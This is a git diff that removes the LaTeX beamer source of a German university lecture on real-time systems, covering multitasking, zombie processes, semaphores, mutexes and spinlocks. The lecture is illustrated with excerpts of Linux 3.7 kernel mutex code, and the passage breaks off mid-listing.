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-../common/Retribution_Engine_Screenshot_120807.jpg
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-../common/Telefon_t-sinus-700.jpg
\ No newline at end of file
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\ No newline at end of file
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\ No newline at end of file
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\ No newline at end of file
diff --git a/20161006/dsc_8208.jpg b/20161006/dsc_8208.jpg
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-% systech-20161006.pdf - Lecture Slides on Advanced System Engineering
-% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document. If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document. If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-%\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{tikz}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\begin{psinputs}
- \usepackage[latin1]{inputenc}
- \usepackage[german]{babel}
- \usepackage[T1]{fontenc}
- \usepackage{helvet}
- \renewcommand*\familydefault{\sfdefault}
- \usepackage{pstricks}
- \psset{unit=1cm}
-\end{psinputs}
-
-\title{Vertiefung Systemtechnik}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\sectionnonumber{Vertiefung Systemtechnik}
-
-\begin{frame}[fragile]
-
- \begin{visibleenv}<2->
- \begin{picture}(2,1)
- \put(1.3,0.6){\vector(0,-1){0.6}}
- \put(1.3,0.6){\line(1,0){1}}
- \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}}
- \end{picture}
-% \begin{pdfpic}
-% \begin{pspicture}(2,1)
-% \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}}
-% \psline[arrows=->](2.3,0.6)(1.3,0.6)(1.3,-0.4)
-% \end{pspicture}
-% \end{pdfpic}
-% \vspace{-1cm}
- \end{visibleenv}
-
- \showsectionnonumber
-
- \begin{onlyenv}<3->
-
- \begin{picture}(2,2.3)(0,-1.3)
- \put(4.2,0.7){\vector(0,1){0.6}}
- \only<3>{\put(0,0.5){\makebox(0,0)[tl]{\includegraphics[width=10.5cm]{wp-systemtechnik.png}}}}
- \pause[4]
- \put(4.2,0.5){\makebox(0,0)[t]{\Large\textbf{\color{structure}Echtzeitsysteme}}}
- \pause
- \put(6.0,-0.8){\vector(-1,1){0.6}}
- \put(6.0,-0.9){\makebox(0,0)[t]{Geräte aller Art}}
- \pause
- \put(2.0,-0.8){\vector(1,1){0.6}}
- \put(0,-0.9){\makebox(0,0)[tl]{Was ist Echtzeit?}}
- \end{picture}
-
- \end{onlyenv}
-
-\end{frame}
-
-\begin{frame}
- \begin{center}
- \begin{tikzpicture}
- \draw (0, 2) ellipse (4 and 3);
- \node at (-1, 3.5) {Vertiefung Systemtechnik};
- \color{red}
- \draw (3, 2) ellipse (4 and 3);
- \node at (4, 3.5) {\shortstack{Software-Entwicklung\\für eingebettete Systeme}};
- \pause
- \color{blue}
- \draw (1.5, 0) ellipse (4 and 3);
- \node at (1.5, 0.5) {\shortstack{Eingebettete Systeme\\(3.\ Semester)}};
- \pause
- \color{gray}
- \draw (5.5, -3.6) arc (0:180:4 and 3);
- \node at (1.5, -3.3) {Netzwerktechnik};
- \end{tikzpicture}
- \end{center}
- \vspace*{-1cm}
-\end{frame}
-
-\sectionnonumber{In dieser Lehrveranstaltung \dots}
-
-\begin{frame}
-
- \showsectionnonumber
- \vspace*{-\medskipamount}
- \begin{itemize}
- \item
- Theorie der Echtzeitprogrammierung: Vorlesung\,/\,Übung
- \item
- Praxis der Echtzeitprogrammierung: Projektaufgabe als Prüfungsleistung
- \arrowitem
- {\color{red} Projektaufgabe überlegen}
- \item
- Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof
- \end{itemize}
-
- \bigskip
-
- Weiteres Angebot:
- \begin{itemize}
- \item
- Einführung in Unix
- \item
- TCP/IP und Bus-Systeme in der Praxis
- \item
- Web-Interfaces
- \end{itemize}
-
- \bigskip
-
- \color{gray}
- Weitere Ideen:
- \begin{itemize}
- \item[\color{gray}$\bullet$]
- \color{gray}
- Einführung in die GUI-Programmierung
- \end{itemize}
-
-% \begin{picture}(0,0)
-% \put(4.5,1.2){\begin{rotate}{15}--- Serviervorschlag ---\end{rotate}}
-% \end{picture}
-
-\end{frame}
-
-\clearpage\strut\clearpage
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] \color{red}Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
- \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
- \item[\textbf{4}] \textbf{Frameworks}
-% \bigskip
-% \item[\textbf{U}] \textbf{Einführung in Unix}
-% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
- \end{itemize}
-
-\end{frame}
-
-\section{Einführung}
-
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-
- \showsubsection
-
- \begin{itemize}
- \pause
- \item
- Animation in Echtzeit:\\
- schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
- \pause
- \medskip
- \item
- Fantasy-Rollenspiel in Echtzeit:\\
- Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
- \pause
- \medskip
- \item
- Datenverarbeitung in Echtzeit:\\
- Die Daten werden so schnell verarbeitet, wie sie anfallen.
- \pause
- \medskip
- \item
- speziell: Echtzeit-Steuerung von Maschinen:\\
- Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
- \pause
- \bigskip
- \arrowitem
- "`Schnell genug."'
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsubsection
-
- "`Schnell genug."' \pause-- "`Und wenn nicht?"'
-
- \pause
-
- \begin{itemize}
- \item
- "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit}
- \begin{onlyenv}<4-8>
- \begin{picture}(0,0)(0,-0.3)
- \pause
- \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606
- \pause
- \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}}
- %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}}
- % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg
- \pause
- \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642
- \pause
- \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
- % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344
- \end{picture}
- \end{onlyenv}
- \pause\\[2pt]
- rechtzeitiges Ergebnis funktionsentscheidend
-
- \smallskip
-
- \pause
- \item
- "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}
- \begin{onlyenv}<10-12>
- \begin{picture}(0,0)(0,0.3)
- \pause
- \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}}
- % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg
- \pause
- \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655
- \end{picture}
- \end{onlyenv}
- \pause\\[2pt]
- verspätetes Ergebnis qualitätsmindernd
- \begin{itemize}
- \baselineskip14pt\par
- \item
- verwenden und Verzögerung in Kauf nehmen
- \item
- verwerfen und Ausfall in Kauf nehmen
- \end{itemize}
-
- \smallskip
-
- \pause
- \item
- "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt]
- \textarrow\ \newterm{keine Echtzeit}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsubsection
-
- Das Problem:
- \vspace{-\bigskipamount}
- \begin{center}
-% \begin{picture}(6,2)
-% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-% \put(2.75,0.875){\vector(1,3){0.25}}
-% \put(2.75,0.875){\line(2,1){0.5}}
-% \put(3.25,1.125){\vector(-1,-3){0.25}}
-% \end{picture}
- \begin{pdfpic}
- \begin{pspicture}(6,2)
- \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
- \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
- \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
- \end{pspicture}
- \end{pdfpic}
- \end{center}
-
- \pause
-
- Beispiel:
- \begin{itemize}
- \item
- Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
- dessen Berechnung maximal \SI{10}{\mics} dauert.
- \pause[3]
- \item
- Entweder: Der Steuer-Computer macht noch andere Dinge.\\
- \textarrow\ Risiko der Zeitüberschreitung
- \pause
- \item
- Oder: Der Steuer-Computer macht nichts anderes.\\
- \textarrow\ Verschwendung von Rechenzeit\\
- \pause
- {\color{red}\textarrow\ Na und?}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsubsection
-
- Das Problem:
- \vspace{-\bigskipamount}
- \begin{center}
- \begin{pdfpic}
- \begin{pspicture}(6,2)
- \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
- \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
- \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
- \end{pspicture}
- \end{pdfpic}
- \end{center}
-
- \medskip
-
- {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
- \medskip
-
- \pause
- Große Stückzahlen
- \begin{itemize}
- \item
- 138\,000 Toyota Prius V von Mai 2011 bis April 2012
- \end{itemize}
-
- \medskip
-
- \pause
- Wertvolle Ressourcen
- \begin{itemize}
- \item
- Fähigkeiten einer Raumsonde optimieren
- % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
- % 70000000 / 550000 = 127._27
- % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
- \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
- \pause
- \item
- Implantat: Platz- und Stromverbrauch minimieren
- \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}}
- \end{itemize}
-
- \bigskip
-
- \pause
- \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
- \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Echtzeitprogrammierung}
-
-\begin{frame}
-
- \showsubsection
-
- Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
- \bigskip
-
- \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:}
-
- \begin{itemize}
- \pause
- \item
- ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\
- % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG
- Funk- vs.\ UART-Protokoll\\
- \textarrow\ dedizierte Hardware
- \pause
- \item
- RP6:\\
- Motorsteuerung vs.\ Anwender-Software\\
- \textarrow\ spezielle Software
- \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}}
- \pause
- \item
- Quadrocopter:\\
- Motorsteuerung vs.\ Sensoren-Abfrage\\
- vs.\ Funk-Fernsteuerung \dots\\
- \textarrow\ spezielle Software
- \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\
- \pause
- \item
- Flugzeugkabinensimulatortür:\\
- Türsteuerung vs.\ Bedienung\\
- \textarrow\ Echtzeitbetriebssystem
- \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}}
- \end{itemize}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] \color{medgreen}Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \color{red}\textbf{Theorie der Echtzeitsysteme}
- \begin{itemize}
- \item[2.1] \color{red}Multitasking
- \end{itemize}
- \item[\textbf{3}] \color{black}\textbf{Echtzeitbetriebssysteme}
- \item[\textbf{4}] \textbf{Frameworks}
-% \bigskip
-% \item[\textbf{U}] \textbf{Einführung in Unix}
-% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
- \end{itemize}
-
-\end{frame}
-
-\section{Theorie der Echtzeitsysteme}
-
-\begin{frame}
-
- \visible<5->{\showsection}
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
- \pause
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
- 1000mal pro Sekunde: Stopwatches\\
- 5mal pro Sekunde: Blinkende Power-On-LED\\
- 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
- Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
- Anpassung der Motorkraft in $\pm$1-Schritten
- \pause
- \item
- Nebenbei: \only<4->{1 }Benutzerprogramm
- \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{itemize}
- \item
- \newterm{Kooperatives Multitasking}\\
- Prozesse geben freiwillig Rechenzeit ab
- \item
- \newterm{Präemptives Multitasking}\\
- Das Betriebssystem unterbricht laufende Prozesse\\
- (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
- \bigskip
- \item
- \newterm{Scheduler}\\
- Steuerprogramm, das Prozessen Rechenzeit zuteilt
- \item
- \newterm{Kontextwechsel}\\
- Umschalten zwischen zwei Prozessen
- \item
- \newterm{Round-Robin-Verfahren (Rundlauf)}\\
- Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
- \bigskip
- \pause
- \item
- Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\
- allgemein: Zuteilung von Ressourcen
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- verschiedene Tasks werden unterschiedlich häufig aufgerufen
- \item
- Nebenbei: 1 Benutzerprogramm
- \end{itemize}
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
- Task mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
- bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- % Aufgabe: Wo wird der Zähler heruntergezählt?
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
- \pause
- Wikipedia:
- \begin{quote}
- Als Zombie wird die fiktive Figur eines zum Leben erweckten
- Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
- Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
- aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
- dort ursprünglich einen Totengeist.
- \end{quote}
-
- \bigskip
-
- \pause
- Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
- bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
- hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
- wird aber noch in der Prozeßliste geführt ("`untot"').
- \begin{itemize}
- \pause
- \item
- Warum?
- \textarrow\
- Ein anderer Prozeß (Elternprozeß) wartet noch auf den
- Rückgabewert des beendeten Prozesses.
- \pause
- \item
- Schadet das?
- \textarrow\
- Nein.
- \pause
- \item
- Aber?
- \textarrow\
- Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
- Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
- \pause
- \item
- Beispiel:
- Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
- \textarrow\
- Tochterprozesse werden zu Zombies.
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{6cm}
- Qualitätssicherung beim Multitasking
- \begin{itemize}
- \item<3->
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
- vs.\ \newterm{Durchsatz}
- \smallskip
- \begin{onlyenv}<4>
- \begin{itemize}
- \item
- \newterm{Latenz:} interaktive Anwendungen
- \item
- \newterm{Jitter:} Echtzeitanwendungen
- \item
- \newterm{Durchsatz:} Stapelverarbeitung
- \end{itemize}
- \vspace*{-3cm}
- \end{onlyenv}
- \item<5->
- Ressourcen reservieren:\\
- \newterm{Mutexe}
- \only<6->{(= spezielle \newterm{Semaphore\/})\\}
- \only<7->{\textarrow\ kommt gleich}
- \item<8->
- Verschiedene Methoden\\
- der Priorisierung\\
- \textarrow\ später\\
- \strut
- \item<9->
- Umgehung der Probleme durch
- speziell geschriebene Software\\
- (MultiWii, RP6, \dots)
- \end{itemize}
- \end{minipage}
- \hfill
- \pause
- \begin{minipage}[t]{6.2cm}
- Qualitätssicherung für Netzwerke:
- \begin{itemize}
- \item
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
- \item
- Ressourcen reservieren:\\
- \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
- \item
- Klassifizierung und Priorisierung:
- \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
- bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
- \item
- Eigenes Protokoll (Telefondienste):\\
- \newterm{Asynchronous Transfer Mode (ATM)}
- \end{itemize}
- \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \begin{onlyenv}<1>
- \par\medskip
- griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
- "`Eisenbahnsignal"'
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \begin{onlyenv}<2>
- \par\medskip
- englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
- spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
- % allgemein: auch jemand anderer dürfte freigeben
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \begin{onlyenv}<3>
- \par\medskip
- englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
- \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
- Hardware-Unterstützung:
- Prüfen, ob Variable bestimmten Wert hat;\\
- wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren --
- Beispiel: \file{linux-3.7rc1}
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- \file{kernel/semaphor.c}\\
- \file{drivers/usb/core/file.c}
- \medskip
- \item
- \newterm{Mutex}\\
- \file{kernel/mutex.c}\\
- \file{drivers/usb/serial/usb-serial.c}
- \medskip
- \item
- \newterm{Spinlock}\\
- \file{kernel/spinlock.c}\\
- \file{kernel/semaphor.c},
- \file{kernel/mutex.c}
- \end{itemize}
-
- % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
- % evtl. Aufgabe: Warte-Problem
-
- % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
- % das o.a. Zuteilungsproblem?
-
- % Danach: Semaphoren, Mutexe, Spinlocks
- % Priorisierungsmethoden und -probleme
-
- % Festplatten: completely fair queueing
- % cat /sys/block/sdc/queue/scheduler
- % "noop" hat sich für SVG gelohnt
-
- % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \textbf{Beispiel:}
- \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- struct usb_serial *usb_serial_get_by_index (unsigned index)
- {
- struct usb_serial *serial;
- mutex_lock (&table_lock);
- serial = serial_table[index];
- if (serial)
- {
- mutex_lock (&serial->disc_mutex);
- if (serial->disconnected)
- {
- mutex_unlock (&serial->disc_mutex);
- serial = NULL;
- }
- else
- kref_get (&serial->kref);
- }
- mutex_unlock (&table_lock);
- return serial;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(5.1,6.85){\vector(-1,0){0.5}}
- \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
- \put(5.4,1.35){\vector(-1,0){0.5}}
- \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
- \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- void __sched mutex_lock (struct mutex *lock)
- {
- might_sleep ();
- __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
- mutex_set_owner (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.6,1.35){\line(-1,0){1}}
- \put(11.6,1.35){\line(0,-1){2.45}}
- \put(11.6,-1.10){\vector(-1,0){2.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
- Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
- \medskip
-
- Assembler:
- \begin{lstlisting}[language={[x86masm]Assembler}]
- lock dec (lock->count)
- jns 1
- call __mutex_lock_slowpath
- 1:
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9,0.95){\line(-1,0){3.5}}
- \put(9,0.95){\line(0,-1){2.5}}
- \put(9.0,-1.55){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
- \medskip
-
- \begin{lstlisting}
- static __used noinline void __sched
- __mutex_lock_slowpath (atomic_t *lock_count)
- {
- struct mutex *lock = container_of (lock_count, struct mutex, count);
- __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
- NULL, _RET_IP_);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.0,1.40){\line(-1,0){1.0}}
- \put(11.0,1.40){\vector(0,-1){2.5}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
- \medskip
-
- \begin{lstlisting}
- static inline int __sched
- __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
- struct lockdep_map *nest_lock, unsigned long ip)
- {
- struct task_struct *task = current;
- struct mutex_waiter waiter;
- unsigned long flags;
-
- preempt_disable ();
- mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
- /* ... */
-
- spin_lock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_lock_common (lock, &waiter);
- debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
- /* add waiting tasks to the end of the waitqueue (FIFO): */
- list_add_tail (&waiter.list, &lock->wait_list);
- waiter.task = task;
-
- if (atomic_xchg (&lock->count, -1) == 1)
- goto done;
-
- lock_contended (&lock->dep_map, ip);
-
- for (;;)
- {
- /*
- * Lets try to take the lock again - this is needed even if
- * we get here for the first time (shortly after failing to
- * acquire the lock), to make sure that we get a wakeup once
- * it's unlocked. Later on, if we sleep, this is the
- * operation that gives us the lock. We xchg it to -1, so
- * that when we release the lock, we properly wake up the
- * other waiters:
- */
- if (atomic_xchg (&lock->count, -1) == 1)
- break;
-
- /*
- * got a signal? (This code gets eliminated in the
- * TASK_UNINTERRUPTIBLE case.)
- */
- if (unlikely (signal_pending_state (state, task)))
- {
- mutex_remove_waiter (lock, &waiter, task_thread_info (task));
- mutex_release (&lock->dep_map, 1, ip);
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
- return -EINTR;
- }
- __set_task_state (task, state);
-
- /* didn't get the lock, go to sleep: */
- spin_unlock_mutex (&lock->wait_lock, flags);
- schedule_preempt_disabled ();
- spin_lock_mutex (&lock->wait_lock, flags);
- }
-
- done:
- lock_acquired (&lock->dep_map, ip);
- /* got the lock - rejoice! */
- mutex_remove_waiter (lock, &waiter, current_thread_info ());
- mutex_set_owner (lock);
-
- /* set it to 0 if there are no waiters left: */
- if (likely (list_empty (&lock->wait_list)))
- atomic_set (&lock->count, 0);
-
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
-
- return 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(7.9,28.3){\vector(-1,0){0.5}}
- \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
- \put(7.4,2.3){\vector(-1,1){0.4}}
- \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
- \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
- Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
- \medskip
-
- \begin{lstlisting}
- #define spin_lock_mutex(lock, flags) \
- do \
- { \
- spin_lock (lock); \
- (void) (flags); \
